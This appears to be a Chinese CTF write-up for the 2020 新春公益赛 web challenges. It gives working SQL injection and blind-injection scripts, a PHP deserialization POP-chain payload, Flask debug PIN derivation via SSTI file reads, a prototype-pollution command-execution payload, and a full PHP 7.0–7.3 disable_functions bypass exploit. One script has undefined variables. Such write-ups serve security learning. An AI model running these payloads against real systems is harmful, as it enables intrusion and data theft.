• 2020新春公益赛 writeup


    简单的招聘系统

    无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点:
    在这里插入图片描述

    /pages-blank.php?key=1%27+union+select+1%2C(select flaaag from flag)%2C3%2C4%2C5+%23

    在这里插入图片描述

    easysqli_copy

    因为用到了PDO+gbk编码,所以应该是预编译+宽字节注入

    import requests
    import time
    data=''
    #payload="if(ascii(mid( (select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))!=1,sleep(3),1)"
    def str_to_hex(s):
        return ''.join([hex(ord(c)).replace('0x', '') for c in s])
    #print(str_to_hex(p.format(1,1)))
    for i in range(1,45):
        for j in range(28,128):
            p = "select (ascii(mid((select fllllll4g from table1),'"+str(i)+"',1))='"+str(j)+"') and sleep(3)"
            p=str_to_hex(p)
            pay='0x'+p
            #print(str(pay))
            url="你的url/?id=1%df%27;set%20@xx="+str(pay)+";prepare%20a%20from%20@xx;execute%20a;"
            #print(url)
            t=time.time()
            requests.get(url)
            if time.time()-t >3 :
                data+=chr(j)
                print(data)
    

    在这里插入图片描述

    ezupload

    上传php,/readflag

    ezsqli

    bool盲注,由于过滤了in,所以information、innodb等库都不能使用,测试了一下^符号可以用,select user()发现是root,所以可以用sys数据库
    sys.schema_table_statistics_with_buffer

    import requests
    import string
    import time
    f=''
    id = "2^(ascii(mid((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database() ),{},1))>{})"
    #爆表
    url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
    for i in range(1,45):
        min=28
        max=126
        while abs(max - min) > 1:
            mid = (max + min) / 2
            data={'id':id.format(i,mid)}
            re=requests.post(url,data=data)
            #print(re.text)
            if 'QAQ'  in re.text:
                min=mid
            else:
                max=mid
        t += chr(int(matx))
        print(f)
    
    

    得到表f1ag_1s_h3r3_hhhhh
    在这里插入图片描述
    本来以为要无列名注入,但是union select、join均被过滤,只能找其他方法

    首先如果f1ag_1s_h3r3_hhhhh表中只有一列,那么可以直接用
    SUBSTR((SELECT * FROM table),1,1)='x' 来盲注

    但是如果有两列及以上,那么就需要用相同数量的列进行比较,例如:

    先看下面这个表
    在这里插入图片描述
    用相同数量的列去比较,不同的数据返回值不同,或许能用在盲注上
    在这里插入图片描述
    但是仔细看我这里flag列的值为大F开头,但是当输入a返回1,而小写字母的ascii都大于大写字母,原因是mysql默认是不区分大小写的,若想区分大小写可以用BINARY函数
    在这里插入图片描述
    可惜binary由于in被过滤无法使用,而binary的实际作用是:

    BINARY 运算符将紧随其后的 string 转换为 二进制字符串。
    主要用来强制进行按字节进行比较(byte by byte),字节而不是字符的字符。这使得字符串比>较是区分大小写的

    而当一个字符串连接一个二进制的值时,其得到的也将是二进制,而MySQL中的JSON对象是二进制对象,所以可以用

    SELECT CONCAT(“a”, CAST(0 AS JSON))

    在这里插入图片描述

    因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx}

    在这里插入图片描述
    exp:

    import requests
    import string
    #print(('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\',''))
    s='-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+,-./:;<=>?@[]^_`{|}~'
    flag=''
    url="http://e58614882e604a91804226686a98234c0d16b17ae1d14ecf.changame.ichunqiu.com/index.php"
    for i in range(1,45):
        for j in s:
            j=flag+j
            id="2^((select 1,concat('{}~',CAST('0' as json)))>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
            #print(id)
            data={'id':id.format(j)}
            re=requests.post(url,data=data)
            #print(re.text)
            if "QAQ"  in re.text:
                flag=j
                print(flag)
                break
    

    在这里插入图片描述
    参考:
    smi1e出题笔记
    无需in的盲注

    如果是在buu上复现可能有点不一样,由于是marridb,无json类型,所以cast会返回bool(false),但是flag全是小写也不用在意,贴个脚本,用的十六进制处理

    import requests
    import binascii
    result=''
    url='http://c58f500a-95fc-478d-8ce4-3b2798fd24b1.node3.buuoj.cn/index.php'
    text=''
    for i in range(1,43):
        low=0
        high=126
        while low <= high:
            mid = (low+high)/2
            #print((str(binascii.hexlify(( chr(int(mid))).encode())))[2:-1])
            payload='1^((select 1,0x'+ (str(binascii.hexlify((text+chr(int(mid))).encode())))[2:-1]+ ') < (select * from f1ag_1s_h3r3_hhhhh))^1'
            #print(payload)
            r=requests.post(url,data={'id':payload})
            if 'Nu1L' in r.text:
                low = mid+1
            elif 'Error' in r.text:
                high = mid-1
        mid_num=int((low+high+1)/2)
        text+=chr(mid_num-1)
        print(text)
    print(result.lower())
    

    盲注

    源码

    <?php
        # flag在fl4g里
        include 'waf.php';
        header("Content-type: text/html; charset=utf-8"); 
        $db = new mysql();
    
        $id = $_GET['id'];
    
        if ($id) {
            if(check_sql($id)){
                exit();
            } else {
                $sql = "select * from flllllllag where id=$id";
                $db->query($sql);
            }
        }
        highlight_file(__FILE__);
    

    过滤了= select < >的盲注
    ?id=-1 or mid(fl4g,1,1) in ("f") and sleep(3)会延时三秒,我一直觉得这f14g是个变量
    exp:

    import requests
    import time
    flag=''
    #脚本写的有点渣跑的比较慢
    url='http://ba940addab964d3e87ccc58b5542b0ed06cef7156f8d49ce.changame.ichunqiu.com/?id=-1 or ascii(mid(fl4g,{},1)) in ({}) and sleep(3)'
    for i in range(1,45):
        for j in range(28,127):
            t=time.time()
            requests.get(url.format(i,j))
            if time.time()-t > 3:
                flag+=chr(j)
                print(flag)
    

    在这里插入图片描述

    babyphp

    知识点:反序列化逃逸+pop链
    www.zip获得源码,类配置在lib.php中,而入口在update.php中

    <?php
    require_once('lib.php');
    echo '<html>
    <meta charset="utf-8">
    <title>update</title>
    <h2>这是一个未完成的页面,上线时建议删除本页面</h2>
    </html>';
    if ($_SESSION['login']!=1){
    	echo "你还没有登陆呢!";
    }
    $users=new User();
    $users->update();
    if($_SESSION['login']===1){
    	require_once("flag.php");
    	echo $flag;
    }
    ?>
    

    入口函数在
    UpdateHelper::__destruct
    在这里插入图片描述
    令$this->sql=new User()触发User::tostring
    在这里插入图片描述
    令$this->nickname=new Info()触发Info::__call
    在这里插入图片描述
    令$this->CtrlCase=new dbCtrl()跳到dbCtrl::login
    在这里插入图片描述
    接受一个参数$sql并执行该语句,如果token=admin则返回结果,所以$this->token=admin
    参数$sql来自Info::__call的arguement,而Info::__call的参数来自User::tostring的$this->age
    所以User::$this->age应=sql语句

    pop链如下:

    <?php
    class user{
    	public $age;
        public $nickname;
    	public function __construct(){
            $this->nickname = new Info();
            $this->age='select password,id from user where username="admin"';
        }
    }
    Class UpdateHelper{
    
        public $sql;
        public function __construct($newInfo,$sql){
            $this->sql=new user();
        }
    }
    class Info{
        public $CtrlCase;
        public function __construct($age,$nickname){
            $this->CtrlCase=new dbCtrl();
        }   
    }
    class dbCtrl
    {
        public $token;
        public function __construct()
        {
            $this->token='admin';
        }
    }
    echo serialize(new UpdateHelper());
    

    得到

    O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
    

    如果在update.php页面什么都不传参,结果是:

    O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}
    

    能够反序列化逃逸的点在User::getNewInfo下
    在这里插入图片描述
    控制nickname为pop链生成的结果,由于默认为3个键值对,为了不出错,需要加上";s:8:"CtrlCase";
    也就是:

    ";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
    

    一共221个,再看一下替换函数
    在这里插入图片描述
    44个*=220,在来一个union=1

    ********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
    

    payload:

    /update.php POST
    age=&nickname=********************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"user":2:{s:3:"age";s:51:"select password,id from user where username="admin"";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}}}
    

    在这里插入图片描述
    md5解密一下=yingyingying,登陆一下即可
    在这里插入图片描述

    blacklist

    改编自强网杯随便注,加了几个过滤:
    在这里插入图片描述
    但是还有handler可以代替查内容
    在这里插入图片描述
    payload:

    ?inject=1';handler FlagHere open as a;handler a read first;
    

    在这里插入图片描述

    Flaskapp

    在decode页面随便输入123会进入debug页面,并且需要输入pin码才能获得console权限
    获取pin码需要知道:
    1.username
    2.modename:为flask.app
    3.getattr(app, '_name_', getattr(app._class_, '_name_')):为Flask
    4.app.py的绝对路径
    5.mac地址
    6.get_machine_id()
    可以用ssti读取文件,

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
    

    base64加密放到decode页面即可读文件
    在/etc/passwd下得知username为flaskweb,app.py的绝对路径可以在debug页面直接看到
    在这里插入图片描述
    mac地址在/sys/class/net/eth0/address下得到,需要转换为十进制
    在这里插入图片描述
    十进制
    在这里插入图片描述
    get_machine_id()的话这里有个坑,首先先看/proc/self/cgroup,如果第一行出现/docker/字符那么后面的就是machine_id,如果没有则需要去/etc/machine-id看
    在这里插入图片描述
    第一行有/docker,所以后面一串就是machine_id,而不是在/etc/machine-id!!(坑)
    然后套脚本:

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    
    private_bits = [
        '2485377957890',# str(uuid.getnode()),  /sys/class/net/ens33/address
        'ef59c69d152dc41a33d4e816fd7cd936e2736b989ab6765665c6e2e43c4a918a'# get_machine_id(), /etc/machine-id
    ]
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)
    

    获得pin码,输入进入console
    在这里插入图片描述
    参考:https://xz.aliyun.com/t/2553#toc-2

    ezexpress

    知识点:javascript大小写特性绕过+原型链污染
    https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
    https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

    由于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN
    可以利用这个js特性绕过

    "ı".toUpperCase() == 'I'
    
    POST: /login
    userid=adm%C4%B1n&pwd=123&action=login&Submit=register
    

    成为ADMIN来到action页面
    在这里插入图片描述
    然后就要用原型链污染了,具体原理还不太懂,下次分析==
    payload:

    POST /action
    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "cat /flag > /app/public/flag"');//"}}
    

    在这里插入图片描述
    弹窗success后访问info,污染原型链
    在这里插入图片描述
    /flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件
    在这里插入图片描述

    ezthinking

    知识点:thinkphp6.0任意文件操作漏洞
    参考文章:https://paper.seebug.org/1114/

    在search页面
    大致就是如果
    会把输入的key传入session并保存session文件,而文件名就是sess_ + 当前session的值,并且这里session长度需要为32才能保存文件

    所以在这里插入图片描述
    在这里插入图片描述
    看一下根目录有readflag,不过system被禁用了,所以需要连蚁剑上传bypass

    <?php
    
    # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=72530
    #
    # This exploit should work on all PHP 7.0-7.3 versions
    # released as of 04/10/2019, specifically:
    # 
    # PHP 7.0 - 7.0.33
    # PHP 7.1 - 7.1.31
    # PHP 7.2 - 7.2.23
    # PHP 7.3 - 7.3.10
    #
    # Author: https://github.com/mm0r1
    
    pwn("/readflag");
    
    function pwn($cmd) {
        global $abc, $helper;
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }
            if(!$data_addr || !$text_size || !$data_size)
                return false;
            return [$data_addr, $text_size, $data_size];
        }
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
                
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $text_size) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
        class ryat {
            var $ryat;
            var $chtg;
            
            function __destruct()
            {
                $this->chtg = $this->ryat;
                $this->ryat = 1;
            }
        }
        class Helper {
            public $a, $b, $c, $d;
        }
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
        $n_alloc = 10; # increase this value if you get segfaults
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_repeat('A', 79);
        $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
        $out = unserialize($poc);
        gc_collect_cycles();
        $v = [];
        $v[0] = ptr2str(0, 79);
        unset($v);
        $abc = $out[2][0];
        $helper = new Helper;
        $helper->b = function ($x) { };
        if(strlen($abc) == 79) {
            die("UAF failed");
        }
        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
        $closure_obj = str2ptr($abc, 0x20);
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
        ($helper->b)($cmd);
        exit();
    }
    

    在这里插入图片描述

  • 相关阅读:
    【转载】著名黑客雷蒙评价几种编程语言
    【GUI开发】Swing的一本极好的入门教材
    【数据结构】数组操作(HighArrayApp.java)
    数据另存为CSV档案(也是一种excel档案)【2】------自主选择路径
    TIniFile实现打开窗体后还原用户之前的配置的功能
    sql server内连接(inner join)、外连接(left outer join、right outer join、full outer join)、记录合并(union、union all)
    @指针、Cardinal()、Integer()、指针取值解析
    关于php编程的一些小技巧
    数据库操作,同时更新多条数据
    省份,城市,地区------三级联动菜单//要加注释
  • 原文地址:https://www.cnblogs.com/W4nder/p/12361654.html
Copyright © 2020-2023  润新知